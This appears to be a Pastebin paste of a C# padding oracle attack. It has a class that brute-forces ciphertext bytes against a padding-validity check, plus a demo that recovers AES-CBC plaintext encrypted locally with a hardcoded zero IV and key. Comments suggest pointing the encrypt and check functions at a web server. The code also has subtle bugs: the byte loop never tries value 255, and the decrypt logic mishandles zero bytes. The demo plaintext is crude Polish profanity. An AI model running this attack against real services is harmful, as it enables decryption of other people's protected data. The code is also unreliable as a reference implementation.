Advertisement
Guest User

Untitled

a guest
Oct 17th, 2019
94
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 11.46 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.IO;
  4. using System.Security.Cryptography;
  5. using System.Text;
  6.  
  7. namespace TestAnything
  8. {
  9.     /// <summary>
  10.     /// The padding oracle attacker class
  11.     /// </summary>
  12.     class PaddingOracle
  13.     {
  14.         /// <summary>
  15.         /// Function template for checking if the cipher has a correct padding
  16.         /// </summary>
  17.         /// <param name="cipher">The cipher the class wants to check</param>
  18.         /// <returns>True if the padding is correct, otherwise false</returns>
  19.         public delegate bool CheckPadding(byte[] cipher);
  20.         /// <summary>
  21.         /// Function, which can check the padding of a given cipher
  22.         /// </summary>
  23.         private readonly CheckPadding isValid;
  24.         /// <summary>
  25.         /// The size of the encrypted blocks
  26.         /// </summary>
  27.         private readonly int block_size;
  28.         /// <summary>
  29.         /// A list of encrypted blocks
  30.         /// </summary>
  31.         private readonly List<byte[]> blocks;
  32.  
  33.         /// <summary>
  34.         /// Initialize the padding oracle attack
  35.         /// </summary>
  36.         /// <param name="paddingValid">The function which can check if a cipher is valid</param>
  37.         /// <param name="cipherText">The ciphertext to decrypt</param>
  38.         /// <param name="blockSize">The size of one encrypted block in bytes</param>
  39.         public PaddingOracle(CheckPadding paddingValid, byte[] cipherText, int blockSize = 16)
  40.         {
  41.             isValid = paddingValid;
  42.             block_size = blockSize;
  43.             blocks = LoadBlocks(cipherText); // Separate the blocks from eachother
  44.         }
  45.  
  46.         /// <summary>
  47.         /// Create a list of blocks from a cipher text
  48.         /// </summary>
  49.         /// <param name="cipher">The cipher to get the blocks from</param>
  50.         /// <returns>A list of blocks, from the cipher</returns>
  51.         private List<byte[]> LoadBlocks(byte[] cipher)
  52.         {
  53.             List<byte[]> blockList = new List<byte[]>();
  54.             for (int i = 0; i < cipher.Length; i += block_size)
  55.             {
  56.                 byte[] tmp = new byte[block_size];
  57.                 Array.Copy(cipher, i, tmp, 0, block_size); // Copy the block to the temporary array
  58.                 blockList.Add(tmp); // Add the block to the list
  59.             }
  60.  
  61.             return blockList;
  62.         }
  63.  
  64.         /// <summary>
  65.         /// Convert the list of decrypted blocks to one byte array for easy conversion to text
  66.         /// </summary>
  67.         /// <param name="list">The list to pack</param>
  68.         /// <returns>A byte with the contents of the list</returns>
  69.         private byte[] PackList(List<byte[]> list)
  70.         {
  71.             byte[] finalResult = new byte[0];
  72.  
  73.             // Code to append values to an array
  74.             for (int i = 0; i < list.Count; i++)
  75.             {
  76.                 byte[] subResult = list[i];
  77.                 byte[] tmp = new byte[finalResult.Length];
  78.                 Array.Copy(finalResult, tmp, finalResult.Length);
  79.                 finalResult = new byte[tmp.Length + subResult.Length];
  80.                 Array.Copy(tmp, finalResult, tmp.Length);
  81.                 Array.Copy(subResult, 0, finalResult, tmp.Length, subResult.Length);
  82.             }
  83.  
  84.             return finalResult;
  85.         }
  86.  
  87.         /// <summary>
  88.         /// Decrypt the specified cipher
  89.         /// </summary>
  90.         /// <returns>The first block, and the decrypted blocks</returns>
  91.         public (byte[] firstBlock, byte[] decryptedBlocks) Decrypt()
  92.         {
  93.             List<byte[]> results = new List<byte[]>();
  94.  
  95.             for (int i = 0; i < blocks.Count; i++)
  96.             {
  97.                 if ((i + 1) == blocks.Count) break;
  98.                 byte[] subResult = _decrypt(blocks[i], blocks[i + 1]); // Decrypt the current block
  99.                 results.Add(subResult); // Add the plaintext to the list
  100.             }
  101.  
  102.             return (blocks[0], PackList(results)); // Return first block, because it's protected by the IV which is unknown, and thus can't be decrypted
  103.         }
  104.  
  105.         /// <summary>
  106.         /// Decrypt a block of encrypted data
  107.         /// </summary>
  108.         /// <param name="firstBlock">The block before the block to decrypt</param>
  109.         /// <param name="secondBlock">The block to decrypt</param>
  110.         /// <returns>The decrypted block</returns>
  111.         private byte[] _decrypt(byte[] firstBlock, byte[] secondBlock)
  112.         {
  113.             byte[] decrypted = new byte[block_size]; // Define the result array
  114.  
  115.             for (int t = 0; t < block_size; t++) // Try all possible padding values
  116.             {
  117.                 int padding = t + 1; // Padding is never 0, but it can be 16 when an entire block is just padding
  118.                 byte[] emulated = new byte[block_size]; // Our "fake" block to fuzz the cipher
  119.                 if (decrypted[block_size - 1] != 0) // Check if the first result is in the array
  120.                 {
  121.                     for (int i = 0; i < block_size; i++) // Load values based on the current padding
  122.                     {
  123.                         if (decrypted[i] == 0) continue;
  124.                         emulated[i] = (byte)(padding ^ decrypted[i] ^ firstBlock[i]); // Get the value for padding X
  125.                     }
  126.                 }
  127.                 byte[] cipher = new byte[block_size * 2]; // Define the 2 block cipher
  128.                 Array.Copy(emulated, cipher, block_size); // Copy our "fake" block to the cipher
  129.                 Array.Copy(secondBlock, 0, cipher, block_size, block_size); // Copy the block to decrypt to the cipher
  130.                 int validByte = -1; // Define the byte which results in a valid padding
  131.  
  132.                 for (int i = 0; i < 255; i++) // Bruteforce the proper value to get the desired padding value
  133.                 {
  134.                     cipher[cipher.Length - padding - block_size] = (byte)i; // Set the byte we bruteforce to the next value
  135.                     if (isValid(cipher)) // Check if the padding is valid
  136.                     {
  137.                         validByte = i;
  138.                         break;
  139.                     }
  140.                 }
  141.  
  142.                 int plainText = (padding ^ firstBlock[block_size - padding] ^ validByte); // Calculate the plain text bytes
  143.                 decrypted[block_size - padding] = (byte)plainText; // Add the decrypted byte to the list
  144.             }
  145.  
  146.             // Remove padding data from the decrypted value (if there's any), and return it
  147.             int dataLength = block_size - decrypted[block_size - 1];
  148.             if (dataLength > 0)
  149.             {
  150.                 byte[] removePadding = new byte[dataLength];
  151.                 Array.Copy(decrypted, removePadding, dataLength);
  152.                 return removePadding;
  153.             }
  154.             else return decrypted;
  155.         }
  156.  
  157.     }
  158.  
  159.     class Program
  160.     {
  161.         /// <summary>
  162.         /// Get the cipher text, you can replace this function with whatever you want, for example, get the cipher text from a web server
  163.         /// </summary>
  164.         /// <returns>The encrypted data</returns>
  165.         static byte[] GetEncryptedBytes()
  166.         {
  167.             // Example data, could, be anything as long as it generates at lest 2 blocks
  168.             const string toEncrypt = "HylaNaChujDajeszTakiPoziomTrudnosciBOBIENoJaPierdolePoChujJaToRobieKurwa";
  169.             byte[] encrypted;
  170.  
  171.             // Encrypt the data
  172.             using (AesManaged aes = new AesManaged())
  173.             {
  174.                 aes.IV = new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
  175.                 aes.Key = Encoding.ASCII.GetBytes("1234567890123456");
  176.                 Console.WriteLine(aes.BlockSize);
  177.                 aes.Padding = PaddingMode.PKCS7;
  178.                 aes.Mode = CipherMode.CBC;
  179.                 ICryptoTransform ict = aes.CreateEncryptor();
  180.                 using (MemoryStream msEncrypt = new MemoryStream())
  181.                 {
  182.                     using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, ict, CryptoStreamMode.Write))
  183.                     {
  184.                         using (StreamWriter swEncrypt = new StreamWriter(csEncrypt))
  185.                         {
  186.                             swEncrypt.Write(toEncrypt);
  187.                         }
  188.                         encrypted = msEncrypt.ToArray();
  189.                     }
  190.                 }
  191.  
  192.             }
  193.             Console.Write(toEncrypt);
  194.             Console.WriteLine();
  195.             for (int i=0;i<encrypted.Length;i++)
  196.             {
  197.                 Console.Write(encrypted[i].ToString());
  198.                 if (i % 16 == 0)
  199.                 { Console.WriteLine(); }
  200.             }
  201.             return encrypted;
  202.         }
  203.  
  204.         /// <summary>
  205.         /// Decrypt, check if the padding is correct, you can replace this function with whatever you want, for example get the results from a web server
  206.         /// </summary>
  207.         /// <param name="cipherText">The cipher to check the padding of</param>
  208.         /// <returns>The decrypted string</returns>
  209.         static string GetDecryptedBytes(byte[] cipherText)
  210.         {
  211.             string plaintext;
  212.  
  213.             // Try to decrypt the cipher
  214.             using (AesManaged aes = new AesManaged())
  215.             {
  216.                 aes.IV = new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
  217.                 aes.Key = Encoding.ASCII.GetBytes("1234567890123456");
  218.                 aes.Padding = PaddingMode.PKCS7;
  219.                 aes.Mode = CipherMode.CBC;
  220.  
  221.                 ICryptoTransform decryptor = aes.CreateDecryptor();
  222.  
  223.                 using (MemoryStream msDecrypt = new MemoryStream(cipherText))
  224.                 {
  225.                     using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
  226.                     {
  227.                         using (StreamReader srDecrypt = new StreamReader(csDecrypt))
  228.                         {
  229.                             plaintext = srDecrypt.ReadToEnd();
  230.                         }
  231.                     }
  232.                 }
  233.             }
  234.  
  235.             return plaintext;
  236.         }
  237.  
  238.         /// <summary>
  239.         /// Program enrty point
  240.         /// </summary>
  241.         /// <param name="args">Command line arguments</param>
  242.         static void Main(string[] args)
  243.         {
  244.             byte[] data = GetEncryptedBytes(); // This could be done anyway, the point is to get a cipher text from somewhere
  245.             // This is a function which serves the purpose of the "oracle"
  246.             // In simple words, it decides if the padding of the cipher is correct or not
  247.             // This also can be done anyway, the point is to be able to check if the padding of the cipher is correct or not
  248.             bool paddingChecker(byte[] cipher)
  249.             {
  250.                 try
  251.                 {
  252.                     GetDecryptedBytes(cipher);
  253.                     return true; // Decrypt ok
  254.                 }
  255.                 catch (CryptographicException ex)
  256.                 {
  257.                     if (ex.Message == "Padding is invalid and cannot be removed.") return false; // Padding error
  258.                     return true; // Other errors
  259.                 }
  260.             }
  261.  
  262.             PaddingOracle po = new PaddingOracle(paddingChecker, data, 16); // Create a new decryptor
  263.             (byte[] n, byte[] pwned) = po.Decrypt(); // Get the results of the decrypt
  264.             Console.WriteLine(Encoding.ASCII.GetString(pwned)); // Write the results to the console
  265.             Console.ReadLine(); // Wait for the user to press a key
  266.         }
  267.     }
  268. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement